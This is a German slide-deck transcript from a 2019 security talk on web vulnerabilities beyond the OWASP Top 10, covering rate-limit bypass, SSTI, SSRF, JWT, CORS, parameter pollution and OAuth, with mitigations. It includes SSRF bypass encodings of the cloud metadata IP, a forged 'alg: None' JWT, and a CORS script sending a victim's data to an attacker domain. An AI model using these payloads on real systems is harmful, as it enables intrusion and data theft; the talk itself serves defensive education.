Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach...

4. Juli 2019

Beyond OWASP Top 10

Über welche Schwachstellen werden Webanwendungen

und Schnittstellen angegriffen, wenn die wesentlichen

Grundlagen der OWASP Top 10 abgesichert sind?

Frank Ully, Senior Penetration Tester & Security Consultant

2 © 2019 Oneconsult AG

ONECONSULT


AGENDA

Einführung

OWASP

Top 10

Risiken

Beyond

OWASP

Top 10

Fazit Weiterführende

Quellen

© 2019 Oneconsult AG

EinführungOWASP Top 10


RISIKEN IN WEBANWENDUNGEN

Bedrohungs-quellen

Schwach-stellen

Auswirkungentechnisch

Auswirkungen auf Unternehmen

Angriffs-vektoren

Sicherheits-maßnahmen


Angriffsvektoren

Bedrohungs-quellen

Ausnutzbarkeit

Anwendungs-spezifisch

einfach

durchschnittlich

schwierig

Schwachstelle

Verbreitung Auffindbarkeit

sehr häufig einfach

häufig durchschnittlich

selten schwierig

Auswirkungen

Auswirkungentechnisch

Auswirkungen Unternehmen

schwerwiegend

Daten- & Geschäfts-spezifischmittel

gering

BEWERTUNG VON RISIKEN IN WEBANWENDUNGEN

3

2

1

3

2

1

3

2

1

3

2

1


ÜBERSICHT ÜBER DIE RISIKEN DER OWASP TOP 10

12345

Injection

Fehler in Authentifizierung

Verlust der Vertraulichkeitsensibler Daten

XML External Entities

Fehler in ZugriffskontrolleFehlkonfiguration

Cross-Site Scripting

Unsichere Deserialisierung

Komponenten mit Schwachstellen

Unzureichendes Logging


Umgehung von Rate Limiting / Request Header


ÜBERSICHT

Beschreibung

→ Sicherheit hängt auch von Konfiguration ab; es werden unsichere (Standard-) Einstellungen verwendet

→ Angreifer können durch fehlendes oder nicht überall konfiguriertes Rate Limiting – oder leicht umgehbares Rate Limiting – etwa Brute-Force-Angriffe, z.B. auf Benutzerkonten, bis hin zu Denial-of-Service-Angriffen ausführen

Risikobewertung

3

3

3

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


UMGEHUNG VON RATE LIMITING


FOLGE

Brute-Force-Angriffe werden nicht verhindert

Informationsabflüsse

Unautorisierter Zugriff auf Daten

Denial-of-Service für Nutzer mit bekannten IP-Adressen

FINDEN

→Mehrere Zugriffe auf die Anwendung durchführen

▪ unauthentisiert

▪ authentisiert

▪ mit falschen Zugangsdaten

→Header einfügen

▪ veränderte Antworten beobachten

▪ veränderte Antwortzeiten beobachten


MASSNAHMEN

Rate Limiting implementieren (429 Too Many Requests)

Benutzereingaben niemals trauen

Standard-Komponenten überprüfen

X-Forwarded-For, True-Client-IP, X-Real-IP, Referer, …

X-Host, X-Forwarded-Host, X-Original-URL, X-Rewrite-URL


{ }

Server-Side Template Injection


ÜBERSICHT

→ Benutzereingaben werden in ein (serverseitiges) Template eingefügt, ohne Metazeichen zu entfernen oder die Korrektheit zu überprüfen

→ Angreifer können internen Zustand auslesen, manipulieren und etwa ihre Privilegien erweitern oder Code auf dem Server ausführen

Beschreibung Risikobewertung

2

2

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


URSACHE

<html>…Hallo ${name}!…

</html>

Tem

pla

te

…data.name = "Frank";…

Java

Ob

jek

te

Template Engine

<html>…Hallo Frank!…

</html>

Output


SERVER-SIDE TEMPLATE INJECTION

{ }


FOLGE

Cross-Site Scripting

Sitzungsdaten auslesen und manipulieren

Remote Code Execution

Client-seitig: Ausbrechen aus Sandbox

FINDEN

→ Ausdruck finden

▪ {{ }}▪ ${ }▪ #{ }▪ <% %>▪ ` `

→ Mathematik einfügen

▪ 2*2▪ 3-1

→ Reflektiertes XSS könnte Template Injection sein

→ Eingesetzte Technologien ermitteln (Wappalyzer, BuiltWith)

→ Tplmap


MASSNAHMEN

Benutzereingaben in Templates vermeiden

Einfache Template-Engine verwenden

Eingabevalidierung, Ausgabe über Templatefunktion

Templates nicht doppelt evaluieren

Sandboxing in gehärtetem Docker-Container


Server-Side Request Forgery


ÜBERSICHT

→ Anwendung führt einen Request aus, dessen Ziel der Benutzer ganz oder teilweise vorgeben kann

→ Angreifer können interne Dienste erreichen, das interne Netzwerk scannen und sensible interne Daten auslesen. Gegebenenfalls sind reflektierte XSS-Angriffe oder das Ausführen von Code auf einem Server möglich


2

2

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


URSACHE

Angreifer

(Client)

Webserver Anderer Server

sendet Request

sendet Request


FOLGE

Angreifer

(Client)

Anderer Server

Webserver

manipulierter Original-Request

A

B

bösartiger Request

B

FINDEN

URSACHE

FINDEN


FOLGE

Firewalls umgehen

Internes Netzwerk erreichen und ausforschen

Quell-IP verschleiern

ggf. Cross-Site Scripting oder Remote Code Execution

FINDEN

→ Tool-unterstützt

▪ Burp Suite Intruder, sortiert nach Antwortgröße

▪ Burp Suite Collaborator

→ Egress-Firewall-Logs

→ URL / IP in Request?

▪ anderer Host

▪ Loopback-Adresse

▪ interne IP-Adresse

▪ anderes Protokoll

▪ anderer Port

▪ extern umleiten über 301 Redirect an intern


KEINE MASSNAHME: BLACKLISTING

169.254.43518

2852039166

169.254.169.254

169.254.169.254.xip.io 1ynrnhl.xip.io (base36)

metadata.angreifer.de

425.510.425.510

7147006462

0xA9.0xFE.0xA9.0xFE

0xa9fea9fe

0x414141410a9fea9fe0 0251.0376.0251.0376


MASSNAHMEN

Eingabevalidierung

Whitelisting (kein Blacklisting!), auch für Protokoll und Port

Internes, granulares Firewalling, auch für Localhost

IP des Hosts vor Zugriff auflösen. Intern?

Login vor interne Dienste


JSON Web Token


ÜBERSICHT

→ JSON Web Token (JWT) sind unzureichend kryptographisch gesichert, oder die Implementierung oder Konfiguration der Prüfung ist fehlerhaft

→ Angreifer können Daten für Authentifizierung und Autorisierung manipulieren und etwa ihre Privilegien erweitern


3

1

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


{ "alg": "HS256",

"typ": "JWT" }

He

ad

er

{ "sub": "1234567890",

"name": "John Doe",

"admin": false,

"iat": 1561732307,

"exp": 1593354707 }

Pa

ylo

ad

HMACSHA256(

base64UrlEncode(header) + "." +

base64UrlEncode(payload),

"geheimnis")Sig

na

tur

HINTERGRUND

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOmZhbHNlLCJpYXQiOjE1NjE3MzIzMDcsImV4cCI6MTU5MzM1NDcwN30.

H5T1x1voI9a7FFQ4HGWA8mpMDsLMpeCwQBToU-PSBtA


{ "alg": "None",

"typ": "JWT" }

He

ad

er

{ "sub": "1234567890",

"name": "John Doe",

"admin": true,

"iat": 1561732307,

"exp": 1593354707 }

Pa

ylo

ad

Sig

na

tur

URSACHE 1

eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQo.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU2MTczMjMwNywiZXhwIjoxNTkzMzU0NzA3fQ.


URSACHE 2

String token = "eyJhbGciOi…PSBtA";

try

{

DecodedJWT jwt =

JWT.decode(token);

}

catch (JWTDecodeException ex)

{

// Invalid token

}

try

{

Algorithm alg =

Algorithm.HMAC256("geheimnis");

JWTVerfier ver =

JWT.require(alg).build();

DecodedJWT jwt =

ver.verify(token);

}

catch (JWTVerificationException ex)

{

// Invalid signature/claim

}

Dekodierung Signaturverifikation

Quelle: https://pragmaticwebsecurity.com/talks/commonapisecuritypitfalls


FOLGE

Symmetrisches Geheimnis kompromittiert für alle Dienste

Fälschen von Token

Horizontale Privilegienerweiterung

Vertikale Privilegienerweiterung

FINDEN

→ Dynamisch (Black Box)

▪ Signatur manipulieren

▪ Header manipulieren („Null“ und „null“), Signatur entfernen

▪ Header manipulieren („RS256“ -> „HS256“), neu signieren

→ Statisch (White Box)

▪ Validieren statt nur dekodieren

▪ Stärke des Geheimnisses


MASSNAHMEN

Entscheiden für symmetrisch oder asymmetrisch

Starke Schlüssel verwenden und sicher verwahren

Signatur überprüfen, mit festgelegtem Algorithmus

Kurze Gültigkeitsdauer der Token

IETF (Draft) JSON Web Token Best Current Practices


Cross-Origin Resource Sharing

://abc

://xyz


ÜBERSICHT

→ Anwendung setzt Single Origin Policy (SOP) über Cross-Origin Resource Sharing (CORS) Antwortheader nicht nur für bestimmte Anfragequellen außer Kraft

→ Angreifer können ein Opfer auf eine von ihnen kontrollierte Website locken und im Namen des Opfers auf die entfernte API zugreifen


2

2

3

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


HINTERGRUND

app.beispiel.de

sso.beispiel.de

Seite laden

var xhr = new XMLHttpRequest();

xhr.open('GET', 'https://sso.beispiel.de/requestApiKey', false);

xhr.withCredentials = true;

xhr.send();

Origin: https://app.beispiel.deCookie: JWT=…

Daten abfragen

Access-Control-Allow-Origin:https://app.beispiel.de

Access-Control-Allow-Credentials: true

Quelle: https://pragmaticwebsecurity.com/talks/commonapisecuritypitfalls

URSACHE


FOLGE

keinbeispiel.de beispiel.de

Browser des Opfers

besucht

gibt bösartiges Skript zurück

sendet bösartige Anfragemit Cookies und Origin Header

gibt geheime Datenund CORS Header zurück

untersucht CORS Header:

erlauben?

JA:Browser gibt

Daten an Skript

NEIN:Browser gibt Antwort nicht

weiter

var xhr = new XMLHttpRequest();xhr.open('GET',

'https://beispiel.de/data', true);

xhr.withCredentials = true;xhr.onload = function () {location = '//keinbeispiel.de/log?

response=' + xhr.responseText;};xhr.send();

GET /data HTTP/1.1Host: beispiel.deOrigin: https://keinspiel.de/Cookie: JWT=...

HTTP/1.1 200 OKAccess-Control-Allow-Origin:https://keinbeispiel.de

Access-Control-Allow-Credentials:true

--{"id":12345, "name":"Tom", "surname":"Kummer", "account":98765}

Quelle: https://www.bedefended.com/papers/cors-security-guide

FINDEN

→ Antworten mit „Origin“-Header finden oder „Origin“-Header einfügen

→ „Origin“-Header verändern und neue Antworten beobachten

→ CORScanner

→ Allow-Credentials?

▪ Reflektiert und „null“ ausnutzbar

→ Kein Allow-Credentials?

▪ Reflektiert, „null“, „*“ausnutzbar


MASSNAHMEN

Standard-Konfiguration überprüfen

Vermeiden, zumindest mit Credentials, wenn nicht nötig

Strikte Whitelist des Origins, nur sichere Protokolle

Header „Access-Control-Allow-Methods: …“ einschränken

Header „Vary: Origin“ setzen


HTTP Parameter Pollution

? a=b&a=c


ÜBERSICHT

→ Infrastruktur, Anwendung oder nachgelagerte Anwendungen gehen unerwartet oder unterschiedlich mit doppelt eingefügten Parametern um

→ Angreifer können Sicherheitsmechanismen oder Prüfungen zur Zugriffskontrolle umgehen, oder Benutzer dazu bringen, unerwartete Aktionen auszuführen


3

2

2

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


URSACHE: …?par=1&par=2

TECHNOLOGIE PARSING BEISPIEL

ASP.NET/IIS alle par=1,2

ASP/IIS alle par=1,2

PHP/Apache letztes par=2

PHP/Zeus letztes par=2

JSP, Servlet/Apache Tomcat erstes par=1

JSP, Servlet/Oracle Server 10g erstes par=1

JSP, Servlet Jetty erstes par=1

IBM Lotus Domino letztes par=2

IBM HTTP Server erstes par=1

mod_perl, libapreq2/Apache erstes par=1

TECHNOLOGIE PARSING BEISPIEL

Perl CGI/Apache erstes par=1

mod_perl,lib???/Apache Array ARRAY(0x…)

mod_wsgi (Python)/Apache erstes par=1

Python/Zope Array ['1','2']

IceWarp letztes par=2

AXIS 2400 alle par=1,2

Linksys Wireless-G Camera letztes par=2

Ricoh Aficio 1022 Printer erstes par=1

webcamXP RPO erstes par=1

DBMan alle par=1~~2

Quelle: https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf


FOLGE: SERVER-SEITIG

Trigger URL

/index.aspx?p=1&p=2

Frontend Backend


HTTP PARAMETER POLLUTION

? a=b&a=c


FOLGE

Zugreifen auf oder Verändern von Daten unautorisiert

Umgehen von Eingabevalidierung

Umgehen von Web Application Firewalls

Durchführen von unbeabsichtigten Aktionen

FINDEN

→ An Request Parameter doppelt einfügen mit unterschiedlichem Wert

→ Welcher Wert wurde genommen?

→ Wert an verschiedenen Stellen einfügen

→ GET, POST, …

→ Links / Eingabefelder untersuchen auf Rückgabe von Parametern

→ Besonders bei Übergabe an andere Dienste


MASSNAHMEN

Sprachverhalten kennen

Parameter gezielt auswählen

Eingabevalidierung (doppelte Parameter entfernen)

Ausgabekodierung

Web Application Firewall


OAuth


ÜBERSICHT

→ In einem OAuth Flow sind Authorization Server oder Resource Server unzureichend vor Manipulation geschützt

→ Angreifer können Zugangsdaten eines Opfers wiederverwenden oder abfangen; oder von ihnen kontrollierte Ressourcen mit dem Konto oder der Sitzung eines Opfers verknüpfen (Cross-Site Request Forgery, CSRF)


2

2

2

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung


HINTERGRUND

Anmelde-Request

Umleitung zu Auth Server

Temporärer Authorization Code

Autorisierungs-Request

Request mit Authorization Code

Token Request

Access Token

Datenzugriff mit Access Token


FOLGEN

Phishing-Mail mit Link

Temporärer Authorization Code

Autorisierungs-Request

AuthorizationCode

Request mit Authorization Code

Token Request

Access Token

Datenzugriff mit Access Token

Ressource

Seite mit Ressource

FINDEN

→ (Regelmäßige) Tests

▪ von Authorization Servern

▪ von Resource Servern


MASSNAHMEN

Passenden Flow / Grant-Typ wählen (nicht mehr Implicit)

Kurzlebige und einmalige Codes und Token ausgeben

State / Proof Key for Code Exchange (PKCE) verwenden

Authorization S.: redirect_URI registrieren und validieren

IETF (Draft) OAuth 2.0 Security Best Current Practice


Fazit


HAUPTSÄCHLICHE QUELLEN UND ABHILFE

Interpreter und Injektionen

Zu viel Vertrauen (besonders in Client)

Komplexität (Fehlkonfi-guration, JWT, OAuth)

Fehlender Schutz in der Tiefe

Eingabevalidierung

Ausgabekodierung

Serverseitige Validierung

Autorisierung bei jedem Zugriff

Standardisierung(aber: Einstellungen prüfen)

Automatisierung (in Deployment und Überprüfung)

Abschottung der eigenen Infrastruktur untereinander


FAZIT


→ Frank Ully

Senior Penetration Tester & Security ConsultantOneconsult Deutschland

+49 89 248820 623+49 151 588034 81

[email protected]

DANKE FÜR IHRE AUFMERKSAMKEIT!


Weiterführende Quellen


→ Yaworksi, Peter (2018): Web Hacking 101https://leanpub.com/web-hacking-101

→ Stuttard, Dafydd / Pinto, Marcus (2007): The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition

→ Schäfers, Tim Philipp (2018): Hacking im Web: Denken Sie wie ein Hacker und schließen Sie die Lücken in Ihren Webapplikationen, 2. Auflage

BÜCHER

WEITERFÜHRENDE QUELLEN

https://leanpub.com/web-hacking-101


→ OWASP Juice Shop (absichtlich verwundbare Applikation auf Basis von Node.js und Angular):https://www.owasp.org/index.php/OWASP_Juice_Shop_Project

→ OWASP Top 10 2017 auf Deutsch:https://www.owasp.org/index.php/Germany/Projekte/Top_10

→ OWASP Top 10 Rohdaten auf Github:https://github.com/OWASP/Top10

→ OWASP Top 10 für Entwickler:https://www.owasp.org/index.php/Category:OWASP_Top_10_fuer_Entwickler

OWASP I


https://www.owasp.org/index.php/OWASP_Juice_Shop_Project

https://www.owasp.org/index.php/Germany/Projekte/Top_10

https://github.com/OWASP/Top10

https://www.owasp.org/index.php/Category:OWASP_Top_10_fuer_Entwickler


→ OWASP ASVS (Application Security Verification Standard):https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project

→ OWASP Top 10 Proactive Controls for Developers:https://www.owasp.org/index.php/OWASP_Proactive_Controls

→ OWASP Testing Guide:https://www.owasp.org/index.php/OWASP_Testing_Project

→ OWASP Code Review Guide:https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

OWASP II


https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project

https://www.owasp.org/index.php/OWASP_Proactive_Controls

https://www.owasp.org/index.php/OWASP_Testing_Project

https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project


→ Security Rule Zero: A Warning about X-Forwarded-For:https://www.f5.com/company/blog/security-rule-zero-a-warning-about-x-forwarded-for

→ Cracking the lens: targeting HTTP's hidden attack-surface:https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface

→ How I accidentally framed myself for a hacking frenzy:https://portswigger.net/blog/how-i-accidentally-framed-myself-for-a-hacking-frenzy

→ Practical Web Cache Poisoning:https://portswigger.net/blog/practical-web-cache-poisoning

X-FORWARDED-FOR / REQUEST HEADER


https://www.f5.com/company/blog/security-rule-zero-a-warning-about-x-forwarded-for

https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface

https://portswigger.net/blog/how-i-accidentally-framed-myself-for-a-hacking-frenzy

https://portswigger.net/blog/practical-web-cache-poisoning


→ Payloads All The Things – Server Side Template Injection:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

→ Server-Side Template Injection:https://portswigger.net/blog/server-side-template-injection

→ Tplmap:https://github.com/epinna/tplmap

SERVER-SIDE TEMPLATE INJECTION


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

https://portswigger.net/blog/server-side-template-injection

https://github.com/epinna/tplmap


→ Payloads All The Things – Server Side Request Forgery:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

→ SSRF bible:https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

→ SSRF (Server Side Request Forgery) testing resources:https://github.com/cujanovic/SSRF-Testing

→ PortSwigger Web Security Academy:https://portswigger.net/web-security/ssrf

SERVER-SIDE REQUEST FORGERY


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

https://github.com/cujanovic/SSRF-Testing

https://portswigger.net/web-security/ssrf


→ Payloads All The Things – JSON Web Token:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token

→ The hard parts of JWT security nobody talks about:https://www.pingidentity.com/en/company/blog/posts/2019/jwt-security-nobody-talks-about.html

→ JSON Web Token Best Current Practices:https://tools.ietf.org/html/draft-ietf-oauth-jwt-bcp-06

JSON WEB TOKEN


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token

https://www.pingidentity.com/en/company/blog/posts/2019/jwt-security-nobody-talks-about.html

https://tools.ietf.org/html/draft-ietf-oauth-jwt-bcp-06


→ Exploiting CORS misconfigurations for Bitcoins and bounties:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

→ Authoritative guide to CORS (Cross-Origin Resource Sharing) for REST APIs:https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/

→ The Complete Guide to CORS (In)Security:https://www.bedefended.com/papers/cors-security-guide

→ CORScanner:https://github.com/chenjj/CORScanner

CROSS-ORIGIN RESOURCE SHARING


https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/

https://www.bedefended.com/papers/cors-security-guide

https://github.com/chenjj/CORScanner


→ Testing for HTTP Parameter pollution (OTG-INPVAL-004):https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

→ HTTP Parameter Pollution:https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

→ HTTP Parameter Pollution Vulnerabilities:https://www.ikkisoft.com/stuff/HPParticle.pdf

HTTP PARAMETER POLLUTION


https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

https://www.ikkisoft.com/stuff/HPParticle.pdf


→ Payloads All The Things – OAuth:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth

→ OAuth 2.0 Security Best Current Practice Overview:https://danielfett.de/2019/03/04/new-oauth-security-recommendations/

→ Damn Vulnerable OAuth 2.0 Application – Tester:https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_tester.md#checklist

→ Damn Vulnerable OAuth 2.0 Application – Developer:https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_developer.md

OAUTH


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth

https://danielfett.de/2019/03/04/new-oauth-security-recommendations/

https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_tester.md#checklist

https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_developer.md

Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach...

Documents

Transcript of Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach...